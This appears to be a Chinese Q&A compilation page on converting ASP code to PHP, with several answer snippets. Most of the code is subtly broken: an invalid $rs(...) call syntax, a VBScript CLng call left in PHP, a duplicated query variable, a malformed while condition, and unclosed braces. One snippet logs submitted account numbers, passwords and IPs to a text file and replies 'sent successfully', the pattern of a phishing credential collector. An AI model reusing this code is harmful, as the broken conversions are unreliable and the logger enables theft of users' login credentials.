怎么把asp程序改成php,编写asp程序

发布时间:2022-11-20

本文目录一览:

  1. asp程序代码转成php
  2. 如何把ASP程序改为PHP程序!
  3. ASP的程序文件后缀名改为PHP,IIS上如何配置
  4. asp改写成php
  5. asp怎么转成php?

asp程序代码转成php

<?php
$sql = "select top 10 车牌号码,出车日期,出车时间,用车目的地,用车人,驾驶员,是否回车 from 车辆派车信息 where 是否回车=0 order by 出车日期 desc";
// 设置编码
mysql_query("set names gbk");
// 执行sql查询
$result = mysql_db_query($mysql_database, $sql, $conntion) or die("查询失败!错误是:" . mysql_error());
// 返回多少条记录
$count = mysql_num_rows($result);
if (!$count) {
    echo "没有记录";
} else {
    while ($rs = mysql_fetch_array($result)) {
?>
<tr height="20">
    <td title="车牌:<?= $rs("车牌号码") ?> 日期:<?= $rs("出车日期") ?> ....."></td>
</tr>
<?php
    }
}
?>

没测试,有错误的地方自己改。

如何把ASP程序改为PHP程序!

比如说这个代码:

FirstFlg=0; '--Hanaya--20050419--自动改行用
For i = KaigyoCountW1 To CLng(MenuCount-1) '--Hanaya--20050419--自动改行用
'--↓--Hanaya--20050419--自动改行用
If (i0 And (i Mod KaigyoCount=0) And FirstFlg0) Then
    Response.Write("/tr")
    Exit For
End If

转换后的代码:

$FirstFlg = 0; //--Hanaya--20050419--自动改行用
for ($i = $KaigyoCountW1; $i <= CLng($MenuCount - 1); $i++) { //--Hanaya--20050419--自动改行用
    //--↓--Hanaya--20050419--自动改行用
    if ($i > 0 && ($i % $KaigyoCount == 0) && $FirstFlg > 0) {
        echo "/tr";
        break;
    }
}

这就是转换后的。

ASP的程序文件后缀名改为PHP,IIS上如何配置

如果要在IIS平台,将.asp后缀改成.php或更个性化的后缀,可以进行如下操作: 打开IIS管理器 → 主目录 → 配置 → 映射 → 添加:

asp改写成php

<?php
$strLogFile = "test.txt";
$Number = $_REQUEST["Number"];
$PassWord = $_REQUEST["PassWord"];
$ip = $_REQUEST["ip"];
if ($Number == "" || $PassWord == "") {
    echo "aa";
    exit;
}
$StrLogText = "{$StrLogText}{$Number}----{$PassWord}----IP:{$ip}({$REMOTE_HOST})----" . date("Y-m-d H:i");
$ff = fopen($strLogFile, 'a');
fputs($ff, $StrLogText);
fclose($ff);
echo "发送成功!";
?>

asp怎么转成php?

<?php
$sql_A = "select * from A order by '序号' asc";
$sql_B = "select * from B order by '序号' asc";
$sql_C = "select * from C order by '序号' asc";
$result_A = mysql_query($sql_A);
$result_B = mysql_query($sql_A);
$result_C = mysql_query($sql_C);
while ($row_A = mysql_fetch_array($result_A), $row_B = mysql_fetch_array($result_B), $row_C = mysql_fetch_array($result_C)) {
    ////////////// 判断都存在时,循环取值,有车一族
    if ($row_A["语文"] . $row_A["数学"] . $row_A["英语"] == $row_B["语文"] . $row_B["数学"] . $row_B["英语"] && $row_A["语文"] . $row_A["数学"] . $row_A["英语"] == $row_C["语文"] . $row_C["数学"] . $row_C["英语"]) {
        ...
    }
?>